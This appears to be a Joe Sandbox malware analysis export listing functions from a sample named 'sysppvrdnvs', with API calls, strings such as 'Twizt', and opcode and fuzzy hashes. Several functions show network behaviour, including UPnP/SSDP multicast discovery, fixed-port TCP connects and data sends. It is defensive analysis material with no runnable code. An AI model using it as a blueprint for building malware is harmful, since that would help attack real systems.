Instruction ID: daf299aa3b87b71fb70ff151311bbfa052327c8c190f043936f27822c7d74034
Opcode Fuzzy Hash: e871f297b8ec647587383603dc2ce7d0bb970bcccd2ecc260039be8e6d46355a
Instruction Fuzzy Hash: 1621C3B1504301AFD304DF65DC84A6BB7E9EF88314F004A3EF559A6290E774D94887EA

Function 004073E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407670: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407690

SysFreeString.OLEAUT32(00000000), ref: 004075F8

Strings

Microsoft Corporation, xrefs: 00407566

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: f4fe66ce6675b0d6da11f671660511fb708902cff3c761094ed99d43740cd4e9
Instruction ID: e42f15a5a8f3a5930d9f1f6311551bcb6c6e46ad7cdc057207f56e8781896ff9
Opcode Fuzzy Hash: f4fe66ce6675b0d6da11f671660511fb708902cff3c761094ed99d43740cd4e9
Instruction Fuzzy Hash: 5191FB75E0450AAFCB14DB98CC94EAFB7B5BF48300F208169E505B73A0D735AE42CB66

Function 0040E0C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002,?,?,?,004083D2), ref: 0040E0CA

Part of subcall function 0040E190: socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
Part of subcall function 0040E190: htons.WS2_32(0000076C), ref: 0040E1E0
Part of subcall function 0040E190: inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
Part of subcall function 0040E190: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D
Part of subcall function 0040E190: bind.WS2_32(000000FF,?,00000010), ref: 0040E243
Part of subcall function 0040E190: lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
Part of subcall function 0040E190: sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
Part of subcall function 0040E190: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4DB
Part of subcall function 0040E400: SysFreeString.OLEAUT32(00000000), ref: 0040E4E5

Strings

UDP, xrefs: 0040E158
TCP, xrefs: 0040E13B

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction ID: 4536849a39b1ff6f82dd019fff268beff13b49d9c24eb1714a693627677867a5
Opcode Fuzzy Hash: 4d93ce47139e5fe62163282bdde6dfb132a2b2f81b545c1a314b9c0cb3165857
Instruction Fuzzy Hash: C511B4B4E00208EBDB00EFD6DC45BAE7375AB44708F10896AE5047B2C2D6799E21CB89

Function 00405EF0 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00415B88,?,00000000,?), ref: 00405EFF
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F3E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405FB3
LeaveCriticalSection.KERNEL32(00415B88), ref: 00405FD0

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: 77efec874a33dc6ef4a00ec3fd77d3dc6f12d8e4685147c5d49fec21481d5cd3
Instruction ID: 31cd86352096c342a95fcbe165c6b10336903156d0058c686e7ee331cda8bfc5
Opcode Fuzzy Hash: 77efec874a33dc6ef4a00ec3fd77d3dc6f12d8e4685147c5d49fec21481d5cd3
Instruction Fuzzy Hash: 08218D35D04609EFDB04DB94D885BDEBB71EB44304F1481BAE8096B380D37CA985CF8A

Function 0040D550 Relevance: 4.6, APIs: 3, Instructions: 120COMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040D55C
InterlockedIncrement.KERNEL32(000000FF), ref: 0040D591
InterlockedDecrement.KERNEL32(000000FF), ref: 0040D694

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementExchangeIncrement
String ID:
API String ID: 2813130747-0
Opcode ID: 2fee3be20291be679849425b2a558d830a1bd18b2d7523083afa5bcd13941f98
Instruction ID: 92f239bb69865f4ea5ccc2fa5ab36589b1b4cdc7d17313df2dab11b9d7d6be27
Opcode Fuzzy Hash: 2fee3be20291be679849425b2a558d830a1bd18b2d7523083afa5bcd13941f98
Instruction Fuzzy Hash: 8A41C3B5E00208BBDF00EBE4DC45FAF7B755B04304F048569B5057B2C2D679E54487A9

Function 0040BE30 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(Twizt,?,?,?,?,8@,00000000,8@,0040E038,00000000,00000000), ref: 0040BE7C

Strings

Twizt, xrefs: 0040BE77
Twizt, xrefs: 0040BE83

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: Twizt$Twizt
API String ID: 1659193697-16428492
Opcode ID: f14bce065c89644a6f21cf12e38f72a35e2d7cb85be709d5cf8e4e3a1ae766ed
Instruction ID: 424cb4e193b88585781965e36c58f6fe4c92dd312b0dedf0f064d4bdf42048bf
Opcode Fuzzy Hash: f14bce065c89644a6f21cf12e38f72a35e2d7cb85be709d5cf8e4e3a1ae766ed
Instruction Fuzzy Hash: AE113DB5900108BFDB04DFA8D941E9EB7B5EF48304F14C1A9FD19AB342D635EA10CBA6

Function 0040D840 Relevance: 4.5, APIs: 3, Instructions: 45networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 0040D853
htons.WS2_32(00009E34), ref: 0040D885
connect.WS2_32(000000FF,?,00000010), ref: 0040D89F

Part of subcall function 0040B4F0: shutdown.WS2_32(0040B4DD,00000002), ref: 0040B4F9
Part of subcall function 0040B4F0: closesocket.WS2_32(0040B4DD), ref: 0040B503

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: closesocketconnecthtonsshutdownsocket
String ID:
API String ID: 1987800339-0
Opcode ID: 33603a608139399c0d84bb830c7b48966f7cdbf7a5e618daadc4b0f5ccc7d938
Instruction ID: fe5c709ea45c5a11aa3c9160e55f3cfd3489188b927fc5d3b71a7e9497cbc338
Opcode Fuzzy Hash: 33603a608139399c0d84bb830c7b48966f7cdbf7a5e618daadc4b0f5ccc7d938
Instruction Fuzzy Hash: 91113C74D05209EBCB10DFE4D9096AEB770AF08320F2082A9E525A73D0D7744F05975A

Function 004076C0 Relevance: 4.5, APIs: 3, Instructions: 35threadCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,?,?), ref: 004076E8
CreateThread.KERNEL32(00000000,00000000,00407720,00000000,00000000,00000000), ref: 0040770A
CloseHandle.KERNEL32(00000000), ref: 00407711

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThreadmemcpy
String ID:
API String ID: 2064604595-0
Opcode ID: 04a8122a2976dc4ffad86fc0c0be3d86b203506bfba9848779d9363a105f676e
Instruction ID: 1765171bc77b4966af89c460e37a8a9fa1404b8c40c23c814704cc40933dc83e
Opcode Fuzzy Hash: 04a8122a2976dc4ffad86fc0c0be3d86b203506bfba9848779d9363a105f676e
Instruction Fuzzy Hash: 54F090B1A04308FBDB00DFA4DC46F9E7778AB48704F208468FA08A72C1D675BA10C769

Function 0040A820 Relevance: 4.5, APIs: 3, Instructions: 34memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A800: GetCurrentProcessId.KERNEL32(?,0040A76B,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A803

HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,0040A777,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A84C
HeapSetInformation.KERNEL32(02DE0000,00000000,00000002,00000004), ref: 0040A876
GetCurrentProcessId.KERNEL32 ref: 0040A87C

Part of subcall function 0040A890: GetProcessHeaps.KERNEL32(000000FF,?), ref: 0040A8AC

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Process$CurrentHeap$CreateHeapsInformation
String ID:
API String ID: 3179415709-0
Opcode ID: aa0c888e319f0ad9fd531053ca841c15f09ebe8eab889de8fcd1a964cf2e908b
Instruction ID: 85029bc915bf12f33225f801dda82e4fa7d324228b613a3c41ba46cae7947946
Opcode Fuzzy Hash: aa0c888e319f0ad9fd531053ca841c15f09ebe8eab889de8fcd1a964cf2e908b
Instruction Fuzzy Hash: 78F06DB1940305BBD324AB61BC05FA63B65B704305F08C17EEA00DA2D1EB79D810C69E

Function 0040F1F0 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
CloseHandle.KERNEL32(000000FF), ref: 0040F232

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction ID: 7e163f13d574deee43add6bab66e88a36a5285de070472799180e575aa2043d7
Opcode Fuzzy Hash: 40331b06137dd1b3e9361709e89bde31eef538c005570258d90ec78dd49f2017
Instruction Fuzzy Hash: A0F03774A40308FBDB20DFA4DC49FCD7B74EB04701F2082A4FA047B2D0D6B55A418B44

Function 0040A760 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A800: GetCurrentProcessId.KERNEL32(?,0040A76B,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A803

RtlAllocateHeap.NTDLL(02DE0000,?,-0000000C), ref: 0040A7AA
memset.NTDLL ref: 0040A7E4

Part of subcall function 0040A820: HeapCreate.KERNEL32(00000000,00000000,00000000,?,?,0040A777,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A84C
Part of subcall function 0040A820: HeapSetInformation.KERNEL32(02DE0000,00000000,00000002,00000004), ref: 0040A876
Part of subcall function 0040A820: GetCurrentProcessId.KERNEL32 ref: 0040A87C

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: Heap$CurrentProcess$AllocateCreateInformationmemset
String ID:
API String ID: 3494217179-0
Opcode ID: fa29d78d3ce41ca275254412ae4d96764d92337fc642c65f72d4f93bbf2f11ac
Instruction ID: 5fdcc54cffe3c60a089a3a898bb23ed8061fd132f88873fc9f8ce54bcf899a2e
Opcode Fuzzy Hash: fa29d78d3ce41ca275254412ae4d96764d92337fc642c65f72d4f93bbf2f11ac
Instruction Fuzzy Hash: A71112B5D00208BBCB14EFA5DC45F9E7BB9AF44309F04C169F508AB381D638DA64CB99

Function 0040DFD0 Relevance: 3.0, APIs: 2, Instructions: 49synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004013B0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
Part of subcall function 004013B0: socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
Part of subcall function 004013B0: bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 0040BBB0: EnterCriticalSection.KERNEL32(004165F8), ref: 0040BBC0
Part of subcall function 0040BBB0: LeaveCriticalSection.KERNEL32(004165F8), ref: 0040BBEC

InterlockedExchangeAdd.KERNEL32(00000000,00000000), ref: 0040DFFD
WaitForSingleObject.KERNEL32(000006BC,00001388), ref: 0040E047

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$CreateEnterEventExchangeInterlockedLeaveObjectSingleWaitbindsocket
String ID:
API String ID: 3920643007-0
Opcode ID: 18c62cc6d519b2e8afdf3871f58b5d287ebe97866f2e1beb6f2c6a56a98bb43e
Instruction ID: 346b0ed27967947cee21f80887d76a0c9fc99ab28eac90287f9a1883fefaa601
Opcode Fuzzy Hash: 18c62cc6d519b2e8afdf3871f58b5d287ebe97866f2e1beb6f2c6a56a98bb43e
Instruction Fuzzy Hash: C411A1B5E00208ABE704EBE5DC46FAF7735AB04704F14857AF501772D1E6B9AE50CB98

Function 0040B780 Relevance: 3.0, APIs: 2, Instructions: 40networkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000100), ref: 0040B79C
gethostbyname.WS2_32(?), ref: 0040B7AE

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynamegethostname
String ID:
API String ID: 3961807697-0
Opcode ID: 3e0d64d0359f05fd9a79bfd049c8ca7c81df9b12e882189b7266d53aab3380c0
Instruction ID: d19b970f4f05460fb5f23fa9ea20f915887bff4352c67af57008564f6b42df24
Opcode Fuzzy Hash: 3e0d64d0359f05fd9a79bfd049c8ca7c81df9b12e882189b7266d53aab3380c0
Instruction Fuzzy Hash: 64112E349042188BCB25DB14C844BD8B779EB65314F14C6DAD48967390C7F96DC5CF89

Function 0040B3F0 Relevance: 3.0, APIs: 2, Instructions: 24networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(0040B471), ref: 0040B3FA
gethostbyname.WS2_32(?), ref: 0040B40D

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: 46542f40318f5cfb28b81fc8c4f0329da453caff3e113274fd4b0c2f7b1fac6b
Instruction ID: cf68f0f803e5ad204852fc960aab75f2335c53b4724a48f6e286a6dac7d73619
Opcode Fuzzy Hash: 46542f40318f5cfb28b81fc8c4f0329da453caff3e113274fd4b0c2f7b1fac6b
Instruction Fuzzy Hash: 84F0AC78900208EFCB14DFA4E54899DBBB4EB49311F2083A9E905673A0D7749E80DB84

Function 0040B4F0 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

shutdown.WS2_32(0040B4DD,00000002), ref: 0040B4F9
closesocket.WS2_32(0040B4DD), ref: 0040B503

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: closesocketshutdown
String ID:
API String ID: 572888783-0
Opcode ID: 25f7de04c8b00f8f37ac4a6d3bc42f69888779e154306af29f6f284285fde8ae
Instruction ID: e588004495cc6a7b8ebd8d82ef2c96d96882889d66b7c68133776882e6b5d849
Opcode Fuzzy Hash: 25f7de04c8b00f8f37ac4a6d3bc42f69888779e154306af29f6f284285fde8ae
Instruction Fuzzy Hash: 39C04C7914020CBBCB549FE5EC4DDD97BACFB48751F108455FA098B251CAB6E9808B94

Function 00409E70 Relevance: 2.7, APIs: 2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5199f4ac4ad430b340395b2c790eff018088729ef202642ee4bea641b12d0db6
Instruction ID: 9018fa89db39be4d923d705982bd5ace5360351e168daa38d33e5c0461b43902
Opcode Fuzzy Hash: 5199f4ac4ad430b340395b2c790eff018088729ef202642ee4bea641b12d0db6
Instruction Fuzzy Hash: 1181FA74A00219DBDB24CE18C885BE973B5FB44358F50C1AAE94DAB382D734AED5CF85

Function 0040BBB0 Relevance: 2.5, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004165F8), ref: 0040BBC0
LeaveCriticalSection.KERNEL32(004165F8), ref: 0040BBEC

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 7b213cd4d069c01e8a620414b83cfb343b0676d070a872b63673a2a7234e7122
Instruction ID: 13b3a4f761e8e0ec39884722658b832f986ab9836cdaa210380d175f348a5a39
Opcode Fuzzy Hash: 7b213cd4d069c01e8a620414b83cfb343b0676d070a872b63673a2a7234e7122
Instruction Fuzzy Hash: A2E09AB0A41204EBCB00DF88FC09B983774E744304F1281B9E81453390EBB4EE80CA8D

Function 0040B510 Relevance: 2.5, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004165F8,?,0040BDA7), ref: 0040B518
LeaveCriticalSection.KERNEL32(004165F8,?,0040BDA7), ref: 0040B528

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ad8263c65cb201d3706fc4fef9bb1207c721a47fd2d799970df71f2cf60a6b1c
Instruction ID: 14b8899719e1d7f6bd9f87e5ca311e10c022d8288dc76d62f5c8fe7294ca2835
Opcode Fuzzy Hash: ad8263c65cb201d3706fc4fef9bb1207c721a47fd2d799970df71f2cf60a6b1c
Instruction Fuzzy Hash: BDB09B701C1329B7810037D5BC0B7C43E29D544B1539380F6B51954195AEE555C0555D

Function 0040CD40 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

__aligned_recalloc_base.LIBCMTD ref: 0040CD67

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: __aligned_recalloc_base
String ID:
API String ID: 3433095291-0
Opcode ID: dbefd875751898bb724e6a61a3d2bcd5d5b822f72dea74509c14001a8b862a7a
Instruction ID: faf6a6b27d618bda7eb0c01cb65bad9766fd1ccddcd1cd8bbdc964715fc70cc6
Opcode Fuzzy Hash: dbefd875751898bb724e6a61a3d2bcd5d5b822f72dea74509c14001a8b862a7a
Instruction Fuzzy Hash: 79F012F650010CABCB04DF99ED45D9B33ADAF4C308F048529F90C97381E679E950CBA5

Function 0040AB60 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0040A800: GetCurrentProcessId.KERNEL32(?,0040A76B,?,0040D07E,00000010,?,?,?,?,?,?,0040CDEB), ref: 0040A803

RtlFreeHeap.NTDLL(02DE0000,00000000,00402612,?,00402612,?), ref: 0040ABBB

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: CurrentFreeHeapProcess
String ID:
API String ID: 3855406826-0
Opcode ID: 619bfd810e0c26ad7a8b13ecb3c60179b2854ed0b7b45a3f3579a8c95ad91858
Instruction ID: ab559ef0e8e170b551dfe54b009a4d3658c5c6bd361d46cd0bbc19687281446f
Opcode Fuzzy Hash: 619bfd810e0c26ad7a8b13ecb3c60179b2854ed0b7b45a3f3579a8c95ad91858
Instruction Fuzzy Hash: 2CF04474D00209ABDB04DF99D441D6DBBB6AB84304F14C1AAEA056B381EA35E951CB95

Function 0040D710 Relevance: 1.5, APIs: 1, Instructions: 32networkCOMMON

Download Yara Rule

APIs

send.WS2_32(00000000,00000000,?,00000000), ref: 0040D72F

Memory Dump Source

Source File: 00000002.00000002.2003370192.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2003359211.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003382841.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2003395330.0000000000414000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysppvrdnvs.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: 06370eea5684355e58e3ecca2704a58af4611f1d3e16c80e6b4b5217ad5f95b8
Instruction ID: e7aa79f816f91947af6fbc74e9c8fbfd3bb2dea631739c5f8479ec5b7c0f5cfd
Opcode Fuzzy Hash: 06370eea5684355e58e3ecca2704a58af4611f1d3e16c80e6b4b5217ad5f95b8
Instruction Fuzzy Hash: 58013C3890438DEFCB00DFA8C888BDE7BB4BB08314F1085A9EC55A7380D3B59699CB55

